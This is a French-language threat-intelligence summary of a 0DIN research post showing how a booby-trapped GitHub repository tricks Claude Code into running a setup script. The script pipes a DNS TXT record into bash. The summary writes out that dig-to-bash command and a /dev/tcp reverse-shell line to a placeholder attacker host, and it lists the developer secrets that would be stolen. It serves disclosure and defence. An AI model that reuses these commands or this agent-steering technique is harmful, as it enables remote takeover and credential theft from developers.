🔍 Contexte

Publié le 25 juin 2026 par Andre Hall & Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d’une attaque par injection de prompt indirecte ciblant les outils de développement agentiques, en particulier Claude Code d’Anthropic.

⚙️ Mécanisme de l’attaque

L’attaque repose sur trois composants enchaînés, chacun individuellement bénin :

  1. Un dépôt GitHub normal : un fichier README ou issue décrit une procédure d’initialisation standard (pip3 install -r requirements.txt puis python3 -m axiom init).
  2. Un package Python qui échoue intentionnellement : le module axiom lève une RuntimeError s’il n’est pas initialisé, incitant l’agent à exécuter python3 -m axiom init comme correction de routine.
  3. Un script d’initialisation qui résout un enregistrement DNS TXT : scripts/setup.sh exécute dig +short TXT _axiom-config.m100.cloud @1.1.1.1 et passe le résultat à bash -c. L’enregistrement DNS contient un reverse shell encodé en base64 (bash -i >& /dev/tcp/<attacker-host>/4443 0>&1).

💥 Impact

  • Shell interactif s’exécutant avec les droits de l’utilisateur développeur
  • Exfiltration de secrets d’environnement : ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN
  • Possibilité de persistance (clé SSH, cron job, backdoor)
  • Le payload est invisible : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l’agent avant exécution
  • Le payload peut être modifié à tout moment en éditant l’enregistrement DNS, sans aucun commit

🎯 Vecteur de diffusion

Un simple lien vers le dépôt partagé dans une offre d’emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code.

📄 Nature de l’article

Il s’agit d’une publication de recherche offensive à visée de démonstration technique, publiée par 0DIN pour illustrer les risques des outils de développement agentiques face à l’injection de prompt indirecte.

🧠 TTPs et IOCs détectés

TTP

  • T1059.004 — Command and Scripting Interpreter: Unix Shell (Execution)
  • T1071.004 — Application Layer Protocol: DNS (Command and Control)
  • T1059.006 — Command and Scripting Interpreter: Python (Execution)
  • T1105 — Ingress Tool Transfer (Command and Control)
  • T1552.001 — Unsecured Credentials: Credentials In Files (Credential Access)
  • T1027 — Obfuscated Files or Information (Defense Evasion)
  • T1059.001 — Command and Scripting Interpreter: PowerShell (Execution)

IOC

  • Domaines : _axiom-config.m100.cloudVT · URLhaus · ThreatFox
  • Domaines : m100.cloudVT · URLhaus · ThreatFox
  • Fichiers : setup.sh
  • Fichiers : requirements.txt
  • Chemins : axiom/__init__.py
  • Chemins : scripts/setup.sh

Malware / Outils

  • Reverse Shell (bash TCP) (other)

🟡 Indice de vérification factuelle : 50/100 (moyenne)

  • ⬜ 0din.ai — source non référencée (0pts)
  • ✅ 8753 chars — texte complet (fulltext extrait) (15pts)
  • ✅ 6 IOCs (IPs/domaines/CVEs) (10pts)
  • ⬜ 0/2 IOCs confirmés externellement (0pts)
  • ✅ 7 TTPs MITRE identifiées (15pts)
  • ✅ date extraite du HTML source (10pts)
  • ⬜ aucun acteur de menace nommé (0pts)
  • ⬜ pas de CVE à vérifier (0pts)

🔗 Source originale : https://0din.ai/blog/clone-this-repo-and-i-own-your-machine